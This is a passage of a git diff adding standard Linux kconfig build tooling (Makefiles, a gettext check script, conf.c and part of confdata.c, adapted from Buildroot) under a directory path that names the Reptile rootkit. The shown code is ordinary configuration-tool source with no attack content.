provided .config as base' + @echo ' localmodconfig - Update current config disabling modules not loaded' + @echo ' localyesconfig - Update current config converting local mods to core' + @echo ' silentoldconfig - Same as oldconfig, but quietly, additionally update deps' + @echo ' defconfig - New config with default from ARCH supplied defconfig' + @echo ' savedefconfig - Save current config as ./defconfig (minimal config)' + @echo ' allnoconfig - New config where all options are answered with no' + @echo ' allyesconfig - New config where all options are accepted with yes' + @echo ' allmodconfig - New config selecting modules when possible' + @echo ' alldefconfig - New config with all symbols set to default' + @echo ' randconfig - New config with random answer to all options' + @echo ' listnewconfig - List new options' + @echo ' olddefconfig - Same as silentoldconfig but sets new symbols to their default value' + +# lxdialog stuff +check-lxdialog := $(src)/lxdialog/check-lxdialog.sh + +# Use recursively expanded variables so we do not call gcc unless +# we really need to do so. (Do not call gcc as part of make mrproper) +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(check-lxdialog) -ccflags) \ + -DLOCALE + +# =========================================================================== +# Shared Makefile for the various kconfig executables: +# conf: Used for defconfig, oldconfig and related targets +# nconf: Used for the nconfig target. +# Utilizes ncurses +# mconf: Used for the menuconfig target +# Utilizes the lxdialog package +# qconf: Used for the xconfig target +# Based on QT which needs to be installed to compile it +# gconf: Used for the gconfig target +# Based on GTK which needs to be installed to compile it +# object files used by all kconfig flavours + +lxdialog := lxdialog/checklist.o lxdialog/util.o lxdialog/inputbox.o +lxdialog += lxdialog/textbox.o lxdialog/yesno.o lxdialog/menubox.o + +conf-objs := conf.o zconf.tab.o +mconf-objs := mconf.o zconf.tab.o $(lxdialog) +nconf-objs := nconf.o zconf.tab.o nconf.gui.o +kxgettext-objs := kxgettext.o zconf.tab.o +qconf-cxxobjs := qconf.o +qconf-objs := zconf.tab.o +gconf-objs := gconf.o zconf.tab.o + +hostprogs-y := conf + +ifeq ($(MAKECMDGOALS),nconfig) + hostprogs-y += nconf +endif + +ifeq ($(MAKECMDGOALS),menuconfig) + hostprogs-y += mconf +endif + +ifeq ($(MAKECMDGOALS),update-po-config) + hostprogs-y += kxgettext +endif + +ifeq ($(MAKECMDGOALS),xconfig) + qconf-target := 1 +endif +ifeq ($(MAKECMDGOALS),gconfig) + gconf-target := 1 +endif + + +ifeq ($(qconf-target),1) + hostprogs-y += qconf +endif + +ifeq ($(gconf-target),1) + hostprogs-y += gconf +endif + +clean-files := qconf.moc .tmp_qtcheck .tmp_gtkcheck +clean-files += zconf.tab.c zconf.lex.c zconf.hash.c gconf.glade.h +clean-files += mconf qconf gconf nconf +clean-files += config.pot linux.pot +clean-files += *.o + +# Check that we have the required ncurses stuff installed for lxdialog (menuconfig) +PHONY += $(obj)/dochecklxdialog +$(addprefix $(obj)/,$(lxdialog)): $(obj)/dochecklxdialog +$(obj)/dochecklxdialog: + @$(CONFIG_SHELL) $(check-lxdialog) -check $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTLOADLIBES_mconf) + +always := dochecklxdialog + +# Add environment specific flags +HOST_EXTRACFLAGS += $(shell $(CONFIG_SHELL) $(src)/check.sh $(HOSTCC) $(HOSTCFLAGS)) + +# generated files seem to need this to find local include files +HOSTCFLAGS_zconf.lex.o := -I$(src) +HOSTCFLAGS_zconf.tab.o := -I$(src) + +LEX_PREFIX_zconf := zconf +YACC_PREFIX_zconf := zconf + +HOSTLOADLIBES_qconf = $(KC_QT_LIBS) +HOSTCXXFLAGS_qconf.o = $(KC_QT_CFLAGS) + +HOSTLOADLIBES_gconf = `pkg-config --libs gtk+-2.0 gmodule-2.0 libglade-2.0` +HOSTCFLAGS_gconf.o = `pkg-config --cflags gtk+-2.0 gmodule-2.0 libglade-2.0` \ + -Wno-missing-prototypes + +HOSTLOADLIBES_mconf = $(shell $(CONFIG_SHELL) $(check-lxdialog) -ldflags $(HOSTCC)) + +HOSTLOADLIBES_nconf = $(shell \ + pkg-config --libs menu panel ncurses 2>/dev/null \ + || echo "-lmenu -lpanel -lncurses" ) +$(obj)/qconf.o: $(obj)/.tmp_qtcheck + +ifeq ($(qconf-target),1) +$(obj)/.tmp_qtcheck: $(src)/Makefile +-include $(obj)/.tmp_qtcheck + +# QT needs some extra effort... +$(obj)/.tmp_qtcheck: + @set -e; echo " CHECK qt"; dir=""; pkg=""; \ + if ! pkg-config --exists QtCore 2> /dev/null; then \ + echo "* Unable to find the QT4 tool qmake. Trying to use QT3"; \ + pkg-config --exists qt 2> /dev/null && pkg=qt; \ + pkg-config --exists qt-mt 2> /dev/null && pkg=qt-mt; \ + if [ -n "$$pkg" ]; then \ + cflags="\$$(shell pkg-config $$pkg --cflags)"; \ + libs="\$$(shell pkg-config $$pkg --libs)"; \ + moc="\$$(shell pkg-config $$pkg --variable=prefix)/bin/moc"; \ + dir="$$(pkg-config $$pkg --variable=prefix)"; \ + else \ + for d in $$QTDIR /usr/share/qt* /usr/lib/qt*; do \ + if [ -f $$d/include/qconfig.h ]; then dir=$$d; break; fi; \ + done; \ + if [ -z "$$dir" ]; then \ + echo >&2 "*"; \ + echo >&2 "* Unable to find any QT installation. Please make sure that"; \ + echo >&2 "* the QT4 or QT3 development package is correctly installed and"; \ + echo >&2 "* either qmake can be found or install pkg-config or set"; \ + echo >&2 "* the QTDIR environment variable to the correct location."; \ + echo >&2 "*"; \ + false; \ + fi; \ + libpath=$$dir/lib; lib=qt; osdir=""; \ + $(HOSTCXX) -print-multi-os-directory > /dev/null 2>&1 && \ + osdir=x$$($(HOSTCXX) -print-multi-os-directory); \ + test -d $$libpath/$$osdir && libpath=$$libpath/$$osdir; \ + test -f $$libpath/libqt-mt.so && lib=qt-mt; \ + cflags="-I$$dir/include"; \ + libs="-L$$libpath -Wl,-rpath,$$libpath -l$$lib"; \ + moc="$$dir/bin/moc"; \ + fi; \ + if [ ! -x $$dir/bin/moc -a -x /usr/bin/moc ]; then \ + echo "*"; \ + echo "* Unable to find $$dir/bin/moc, using /usr/bin/moc instead."; \ + echo "*"; \ + moc="/usr/bin/moc"; \ + fi; \ + else \ + cflags="\$$(shell pkg-config QtCore QtGui Qt3Support --cflags)"; \ + libs="\$$(shell pkg-config QtCore QtGui Qt3Support --libs)"; \ + moc="\$$(shell pkg-config QtCore --variable=moc_location)"; \ + [ -n "$$moc" ] || moc="\$$(shell pkg-config QtCore --variable=prefix)/bin/moc"; \ + fi; \ + echo "KC_QT_CFLAGS=$$cflags" > $@; \ + echo "KC_QT_LIBS=$$libs" >> $@; \ + echo "KC_QT_MOC=$$moc" >> $@ +endif + +$(obj)/gconf.o: $(obj)/.tmp_gtkcheck + +ifeq ($(gconf-target),1) +-include $(obj)/.tmp_gtkcheck + +# GTK needs some extra effort, too... +$(obj)/.tmp_gtkcheck: + @if `pkg-config --exists gtk+-2.0 gmodule-2.0 libglade-2.0`; then \ + if `pkg-config --atleast-version=2.0.0 gtk+-2.0`; then \ + touch $@; \ + else \ + echo >&2 "*"; \ + echo >&2 "* GTK+ is present but version >= 2.0.0 is required."; \ + echo >&2 "*"; \ + false; \ + fi \ + else \ + echo >&2 "*"; \ + echo >&2 "* Unable to find the GTK+ installation. Please make sure that"; \ + echo >&2 "* the GTK+ 2.0 development package is correctly installed..."; \ + echo >&2 "* You need gtk+-2.0, glib-2.0 and libglade-2.0."; \ + echo >&2 "*"; \ + false; \ + fi +endif + +$(obj)/zconf.tab.o: $(obj)/zconf.lex.c $(obj)/zconf.hash.c + +$(obj)/qconf.o: $(obj)/qconf.moc + +$(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck + $(KC_QT_MOC) -i $< -o $@ + +# Extract gconf menu items for I18N support +$(obj)/gconf.glade.h: $(obj)/gconf.glade + $(Q)intltool-extract --type=gettext/glade --srcdir=$(srctree) \ + $(obj)/gconf.glade + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/Makefile.br b/Linux/Rootkits/Reptile/scripts/kconfig/Makefile.br new file mode 100644 index 0000000..e31686e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/Makefile.br @@ -0,0 +1,60 @@ +src ?= . +top_srcdir ?= ../../ +top_builddir ?= ../../ +srctree ?= . +obj ?= . + +include $(src)/Makefile +#HOSTCFLAGS+=-Dinline="" -include foo.h +-include $(obj)/.depend +$(obj)/.depend: $(wildcard *.h *.c) + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) -MM *.c > $@ 2>/dev/null || : + @echo " HOSTCC $@" + +__hostprogs := $(sort $(hostprogs-y) $(hostprogs-m)) +host-csingle := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),$(if $($(m)-objs),,$(m)))) +host-cmulti := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),\ + $(if $($(m)-cxxobjs),,$(if $($(m)-objs),$(m))))) +host-cxxmulti := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),\ + $(if $($(m)-cxxobjs),$(m),$(if $($(m)-objs),)))) +host-cobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-objs)))) +host-cxxobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-cxxobjs)))) + +HOST_EXTRACFLAGS += -I$(obj) -DCONFIG_=\"\" + +$(host-csingle): %: %.c + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) $< -o $@ + @echo " HOSTCC $@" + +$(host-cmulti): %: $(host-cobjs) $(host-cshlib) + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) $(addprefix $(obj)/,$($(@F)-objs)) $(HOSTLOADLIBES_$(@F)) -o $@ + @echo " HOSTLD $@" + +$(host-cxxmulti): %: $(host-cxxobjs) $(host-cobjs) $(host-cshlib) + @$(HOSTCXX) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) $(addprefix $(obj)/,$($(@F)-objs) $($(@F)-cxxobjs)) $(HOSTLOADLIBES_$(@F)) -o $@ + @echo " HOSTLD $@" + +$(obj)/%.o: %.c + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@ + @echo " HOSTCC $@" + +$(obj)/%.o: $(obj)/%.c + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@ + @echo " HOSTCC $@" + +$(obj)/%.o: %.cc + @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) -c $< -o $@ + @echo " HOSTCC $@" + +$(obj)/%:: $(src)/%_shipped + @$(Q)cat $< > $@ + +clean: + $(Q)rm -f $(addprefix $(obj)/,$(clean-files)) +distclean: clean + $(Q)rm -f $(addprefix $(obj)/,$(lxdialog) $(conf-objs) $(mconf-objs) $(kxgettext-objs) \ + $(hostprogs-y) $(qconf-cxxobjs) $(qconf-objs) $(gconf-objs) \ + mconf .depend) + +FORCE: +.PHONY: FORCE clean distclean diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/POTFILES.in b/Linux/Rootkits/Reptile/scripts/kconfig/POTFILES.in new file mode 100644 index 0000000..9674573 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/POTFILES.in @@ -0,0 +1,12 @@ +scripts/kconfig/lxdialog/checklist.c +scripts/kconfig/lxdialog/inputbox.c +scripts/kconfig/lxdialog/menubox.c +scripts/kconfig/lxdialog/textbox.c +scripts/kconfig/lxdialog/util.c +scripts/kconfig/lxdialog/yesno.c +scripts/kconfig/mconf.c +scripts/kconfig/conf.c +scripts/kconfig/confdata.c +scripts/kconfig/gconf.c +scripts/kconfig/gconf.glade.h +scripts/kconfig/qconf.cc diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/README.buildroot b/Linux/Rootkits/Reptile/scripts/kconfig/README.buildroot new file mode 100644 index 0000000..62e3a11 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/README.buildroot @@ -0,0 +1,20 @@ +This is a copy of the kconfig code in the kernel (currently 3.13-rc5) tweaked +to suit Buildroot. + +To update: + cp -r /usr/src/linux/scripts/kconfig support/kconfig.new + cd support/kconfig.new + cp -a ../kconfig/patches ../kconfig/README.buildroot ../kconfig/.gitignore . + quilt push -a + # Fix any conflict + cd .. + rm -rf kconfig + mv kconfig.new kconfig + +Then verify the toplevel targets work: + config + defconfig + menuconfig + xconfig + gconfig + oldconfig diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/check.sh b/Linux/Rootkits/Reptile/scripts/kconfig/check.sh new file mode 100644 index 0000000..854d9c7 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/check.sh @@ -0,0 +1,14 @@ +#!/bin/sh +# Needed for systems without gettext +$* -x c -o /dev/null - > /dev/null 2>&1 << EOF +#include +int main() +{ + gettext(""); + return 0; +} +EOF +if [ ! "$?" -eq "0" ]; then + echo -DKBUILD_NO_NLS; +fi + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/conf.c b/Linux/Rootkits/Reptile/scripts/kconfig/conf.c new file mode 100644 index 0000000..6780bd3 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/conf.c @@ -0,0 +1,717 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf(struct menu *menu); +static void check_conf(struct menu *menu); +static void xfgets(char *str, int size, FILE *in); + +enum input_mode { + oldaskconfig, + silentoldconfig, + oldconfig, + allnoconfig, + allyesconfig, + allmodconfig, + alldefconfig, + randconfig, + defconfig, + savedefconfig, + listnewconfig, + olddefconfig, +} input_mode = oldaskconfig; + +static int indent = 1; +static int tty_stdio; +static int valid_stdin = 1; +static int sync_kconfig; +static int conf_cnt; +static char line[128]; +static struct menu *rootEntry; + +static void print_help(struct menu *menu) +{ + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + printf("\n%s\n", str_get(&help)); + str_free(&help); +} + +static void strip(char *str) +{ + char *p = str; + int l; + + while ((isspace(*p))) + p++; + l = strlen(p); + if (p != str) + memmove(str, p, l + 1); + if (!l) + return; + p = str + l - 1; + while ((isspace(*p))) + *p-- = 0; +} + +static void check_stdin(void) +{ + if (!valid_stdin) { + printf(_("aborted!\n\n")); + printf(_("Console input/output is redirected. ")); + printf(_("Run 'make oldconfig' to update configuration.\n\n")); + exit(1); + } +} + +static int conf_askvalue(struct symbol *sym, const char *def) +{ + enum symbol_type type = sym_get_type(sym); + + if (!sym_has_value(sym)) + printf(_("(NEW) ")); + + line[0] = '\n'; + line[1] = 0; + + if (!sym_is_changable(sym)) { + printf("%s\n", def); + line[0] = '\n'; + line[1] = 0; + return 0; + } + + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (sym_has_value(sym)) { + printf("%s\n", def); + return 0; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + if (!tty_stdio) + printf("\n"); + return 1; + default: + break; + } + + switch (type) { + case S_INT: + case S_HEX: + case S_STRING: + printf("%s\n", def); + return 1; + default: + ; + } + printf("%s", line); + return 1; +} + +static int conf_string(struct menu *menu) +{ + struct symbol *sym = menu->sym; + const char *def; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + printf("(%s) ", sym->name); + def = sym_get_string_value(sym); + if (sym_get_string_value(sym)) + printf("[%s] ", def); + if (!conf_askvalue(sym, def)) + return 0; + switch (line[0]) { + case '\n': + break; + case '?': + /* print help */ + if (line[1] == '\n') { + print_help(menu); + def = NULL; + break; + } + /* fall through */ + default: + line[strlen(line)-1] = 0; + def = line; + } + if (def && sym_set_string_value(sym, def)) + return 0; + } +} + +static int conf_sym(struct menu *menu) +{ + struct symbol *sym = menu->sym; + tristate oldval, newval; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + if (sym->name) + printf("(%s) ", sym->name); + putchar('['); + oldval = sym_get_tristate_value(sym); + switch (oldval) { + case no: + putchar('N'); + break; + case mod: + putchar('M'); + break; + case yes: + putchar('Y'); + break; + } + if (oldval != no && sym_tristate_within_range(sym, no)) + printf("/n"); + if (oldval != mod && sym_tristate_within_range(sym, mod)) + printf("/m"); + if (oldval != yes && sym_tristate_within_range(sym, yes)) + printf("/y"); + if (menu_has_help(menu)) + printf("/?"); + printf("] "); + if (!conf_askvalue(sym, sym_get_string_value(sym))) + return 0; + strip(line); + + switch (line[0]) { + case 'n': + case 'N': + newval = no; + if (!line[1] || !strcmp(&line[1], "o")) + break; + continue; + case 'm': + case 'M': + newval = mod; + if (!line[1]) + break; + continue; + case 'y': + case 'Y': + newval = yes; + if (!line[1] || !strcmp(&line[1], "es")) + break; + continue; + case 0: + newval = oldval; + break; + case '?': + goto help; + default: + continue; + } + if (sym_set_tristate_value(sym, newval)) + return 0; +help: + print_help(menu); + } +} + +static int conf_choice(struct menu *menu) +{ + struct symbol *sym, *def_sym; + struct menu *child; + bool is_new; + + sym = menu->sym; + is_new = !sym_has_value(sym); + if (sym_is_changable(sym)) { + conf_sym(menu); + sym_calc_value(sym); + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + return 0; + case yes: + break; + } + } else { + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + return 0; + case yes: + break; + } + } + + while (1) { + int cnt, def; + + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + def_sym = sym_get_choice_value(sym); + cnt = def = 0; + line[0] = 0; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (!child->sym) { + printf("%*c %s\n", indent, '*', _(menu_get_prompt(child))); + continue; + } + cnt++; + if (child->sym == def_sym) { + def = cnt; + printf("%*c", indent, '>'); + } else + printf("%*c", indent, ' '); + printf(" %d. %s", cnt, _(menu_get_prompt(child))); + if (child->sym->name) + printf(" (%s)", child->sym->name); + if (!sym_has_value(child->sym)) + printf(_(" (NEW)")); + printf("\n"); + } + printf(_("%*schoice"), indent - 1, ""); + if (cnt == 1) { + printf("[1]: 1\n"); + goto conf_childs; + } + printf("[1-%d", cnt); + if (menu_has_help(menu)) + printf("?"); + printf("]: "); + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (!is_new) { + cnt = def; + printf("%d\n", cnt); + break; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + strip(line); + if (line[0] == '?') { + print_help(menu); + continue; + } + if (!line[0]) + cnt = def; + else if (isdigit(line[0])) + cnt = atoi(line); + else + continue; + break; + default: + break; + } + + conf_childs: + for (child = menu->list; child; child = child->next) { + if (!child->sym || !menu_is_visible(child)) + continue; + if (!--cnt) + break; + } + if (!child) + continue; + if (line[0] && line[strlen(line) - 1] == '?') { + print_help(child); + continue; + } + sym_set_choice_value(sym, child->sym); + for (child = child->list; child; child = child->next) { + indent += 2; + conf(child); + indent -= 2; + } + return 1; + } +} + +static void conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + prop = menu->prompt; + if (prop) { + const char *prompt; + + switch (prop->type) { + case P_MENU: + if ((input_mode == silentoldconfig || + input_mode == listnewconfig || + input_mode == olddefconfig) && + rootEntry != menu) { + check_conf(menu); + return; + } + /* fall through */ + case P_COMMENT: + prompt = menu_get_prompt(menu); + if (prompt) + printf("%*c\n%*c %s\n%*c\n", + indent, '*', + indent, '*', _(prompt), + indent, '*'); + default: + ; + } + } + + if (!sym) + goto conf_childs; + + if (sym_is_choice(sym)) { + conf_choice(menu); + if (sym->curr.tri != mod) + return; + goto conf_childs; + } + + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + conf_string(menu); + break; + default: + conf_sym(menu); + break; + } + +conf_childs: + if (sym) + indent += 2; + for (child = menu->list; child; child = child->next) + conf(child); + if (sym) + indent -= 2; +} + +static void check_conf(struct menu *menu) +{ + struct symbol *sym; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + if (sym && !sym_has_value(sym)) { + if (sym_is_changable(sym) || + (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes)) { + if (input_mode == listnewconfig) { + if (sym->name && !sym_is_choice_value(sym)) { + printf("%s%s\n", CONFIG_, sym->name); + } + } else if (input_mode != olddefconfig) { + if (!conf_cnt++) + printf(_("*\n* Restart config...\n*\n")); + rootEntry = menu_get_parent_menu(menu); + conf(rootEntry); + } + } + } + + for (child = menu->list; child; child = child->next) + check_conf(child); +} + +static struct option long_opts[] = { + {"oldaskconfig", no_argument, NULL, oldaskconfig}, + {"oldconfig", no_argument, NULL, oldconfig}, + {"silentoldconfig", no_argument, NULL, silentoldconfig}, + {"defconfig", optional_argument, NULL, defconfig}, + {"savedefconfig", required_argument, NULL, savedefconfig}, + {"allnoconfig", no_argument, NULL, allnoconfig}, + {"allyesconfig", no_argument, NULL, allyesconfig}, + {"allmodconfig", no_argument, NULL, allmodconfig}, + {"alldefconfig", no_argument, NULL, alldefconfig}, + {"randconfig", no_argument, NULL, randconfig}, + {"listnewconfig", no_argument, NULL, listnewconfig}, + {"olddefconfig", no_argument, NULL, olddefconfig}, + /* + * oldnoconfig is an alias of olddefconfig, because people already + * are dependent on its behavior(sets new symbols to their default + * value but not 'n') with the counter-intuitive name. + */ + {"oldnoconfig", no_argument, NULL, olddefconfig}, + {NULL, 0, NULL, 0} +}; + +static void conf_usage(const char *progname) +{ + + printf("Usage: %s [option] \n", progname); + printf("[option] is _one_ of the following:\n"); + printf(" --listnewconfig List new options\n"); + printf(" --oldaskconfig Start a new configuration using a line-oriented program\n"); + printf(" --oldconfig Update a configuration using a provided .config as base\n"); + printf(" --silentoldconfig Same as oldconfig, but quietly, additionally update deps\n"); + printf(" --olddefconfig Same as silentoldconfig but sets new symbols to their default value\n"); + printf(" --oldnoconfig An alias of olddefconfig\n"); + printf(" --defconfig New config with default defined in \n"); + printf(" --savedefconfig Save the minimal current configuration to \n"); + printf(" --allnoconfig New config where all options are answered with no\n"); + printf(" --allyesconfig New config where all options are answered with yes\n"); + printf(" --allmodconfig New config where all options are answered with mod\n"); + printf(" --alldefconfig New config with all symbols set to default\n"); + printf(" --randconfig New config with random answer to all options\n"); +} + +int main(int ac, char **av) +{ + const char *progname = av[0]; + int opt; + const char *name, *defconfig_file = NULL /* gcc uninit */; + struct stat tmpstat; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + tty_stdio = isatty(0) && isatty(1) && isatty(2); + + while ((opt = getopt_long(ac, av, "", long_opts, NULL)) != -1) { + input_mode = (enum input_mode)opt; + switch (opt) { + case silentoldconfig: + sync_kconfig = 1; + break; + case defconfig: + case savedefconfig: + defconfig_file = optarg; + break; + case randconfig: + { + struct timeval now; + unsigned int seed; + char *seed_env; + + /* + * Use microseconds derived seed, + * compensate for systems where it may be zero + */ + gettimeofday(&now, NULL); + seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1)); + + seed_env = getenv(PRODUCT_ENV"_SEED"); + if( seed_env && *seed_env ) { + char *endp; + int tmp = (int)strtol(seed_env, &endp, 0); + if (*endp == '\0') { + seed = tmp; + } + } + fprintf( stderr, PRODUCT_ENV"_SEED=0x%X\n", seed ); + srand(seed); + break; + } + case oldaskconfig: + case oldconfig: + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case listnewconfig: + case olddefconfig: + break; + case '?': + conf_usage(progname); + exit(1); + break; + } + } + if (ac == optind) { + printf(_("%s: Kconfig file missing\n"), av[0]); + conf_usage(progname); + exit(1); + } + name = av[optind]; + conf_parse(name); + if (sync_kconfig) { + name = conf_get_configname(); + if (stat(name, &tmpstat)) { + fprintf(stderr, _("***\n" + "*** Configuration file \"%s\" not found!\n" + "***\n" + "*** Please run some configurator (e.g. \"make oldconfig\" or\n" + "*** \"make menuconfig\" or \"make xconfig\").\n" + "***\n"), name); + exit(1); + } + } + + switch (input_mode) { + case defconfig: + if (!defconfig_file) + defconfig_file = conf_get_default_confname(); + if (conf_read(defconfig_file)) { + printf(_("***\n" + "*** Can't find default configuration \"%s\"!\n" + "***\n"), defconfig_file); + exit(1); + } + break; + case savedefconfig: + case silentoldconfig: + case oldaskconfig: + case oldconfig: + case listnewconfig: + case olddefconfig: + conf_read(NULL); + break; + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case randconfig: + name = getenv(PRODUCT_ENV"_ALLCONFIG"); + if (!name) + break; + if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) { + if (conf_read_simple(name, S_DEF_USER)) { + fprintf(stderr, + _("*** Can't read seed configuration \"%s\"!\n"), + name); + exit(1); + } + break; + } + switch (input_mode) { + case allnoconfig: name = "allno.config"; break; + case allyesconfig: name = "allyes.config"; break; + case allmodconfig: name = "allmod.config"; break; + case alldefconfig: name = "alldef.config"; break; + case randconfig: name = "allrandom.config"; break; + default: break; + } + if (conf_read_simple(name, S_DEF_USER) && + conf_read_simple("all.config", S_DEF_USER)) { + fprintf(stderr, + _("*** "PRODUCT_ENV"_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), + name); + exit(1); + } + break; + default: + break; + } + + if (sync_kconfig) { + if (conf_get_changed()) { + name = getenv(PRODUCT_ENV"_NOSILENTUPDATE"); + if (name && *name) { + fprintf(stderr, + _("\n*** The configuration requires explicit update.\n\n")); + return 1; + } + } + valid_stdin = tty_stdio; + } + + switch (input_mode) { + case allnoconfig: + conf_set_all_new_symbols(def_no); + break; + case allyesconfig: + conf_set_all_new_symbols(def_yes); + break; + case allmodconfig: + conf_set_all_new_symbols(def_mod); + break; + case alldefconfig: + conf_set_all_new_symbols(def_default); + break; + case randconfig: + /* Really nothing to do in this loop */ + while (conf_set_all_new_symbols(def_random)) ; + break; + case defconfig: + conf_set_all_new_symbols(def_default); + break; + case savedefconfig: + break; + case oldaskconfig: + rootEntry = &rootmenu; + conf(&rootmenu); + input_mode = silentoldconfig; + /* fall through */ + case oldconfig: + case listnewconfig: + case olddefconfig: + case silentoldconfig: + /* Update until a loop caused no more changes */ + do { + conf_cnt = 0; + check_conf(&rootmenu); + } while (conf_cnt && + (input_mode != listnewconfig && + input_mode != olddefconfig)); + break; + } + + if (sync_kconfig) { + /* silentoldconfig is used during the build so we shall update autoconf. + * All other commands are only used to generate a config. + */ + if (conf_get_changed() && conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + if (conf_write_autoconf()) { + fprintf(stderr, _("\n*** Error during update of the configuration.\n\n")); + return 1; + } + } else if (input_mode == savedefconfig) { + if (conf_write_defconfig(defconfig_file)) { + fprintf(stderr, _("n*** Error while saving defconfig to: %s\n\n"), + defconfig_file); + return 1; + } + } else if (input_mode != listnewconfig) { + if (conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + } + return 0; +} + +/* + * Helper function to facilitate fgets() by Jean Sacren. + */ +void xfgets(char *str, int size, FILE *in) +{ + if (fgets(str, size, in) == NULL) + fprintf(stderr, "\nError in reading or end of file.\n"); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/confdata.c b/Linux/Rootkits/Reptile/scripts/kconfig/confdata.c new file mode 100644 index 0000000..506a956 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/confdata.c @@ -0,0 +1,1272 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf_warning(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static void conf_message(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static const char *conf_filename; +static int conf_lineno, conf_warnings, conf_unsaved; + +const char conf_defname[] = ".defconfig"; + +static void conf_warning(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; +} + +static void conf_default_message_callback(const char *fmt, va_list ap) +{ + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); +} + +static void (*conf_message_callback) (const char *fmt, va_list ap) = + conf_default_message_callback; +void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) +{ + conf_message_callback = fn; +} + +static void conf_message(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); +} + +const char *conf_get_configname(void) +{ + char *name = getenv(PRODUCT_ENV"_CONFIG"); + + return name ? name : ".config"; +} + +const char *conf_get_autoconfig_name(void) +{ + return getenv(PRODUCT_ENV"_AUTOCONFIG"); +} + +static char *conf_expand_value(const char *in) +{ + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; +} + +char *conf_get_default_confname(void) +{ + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = 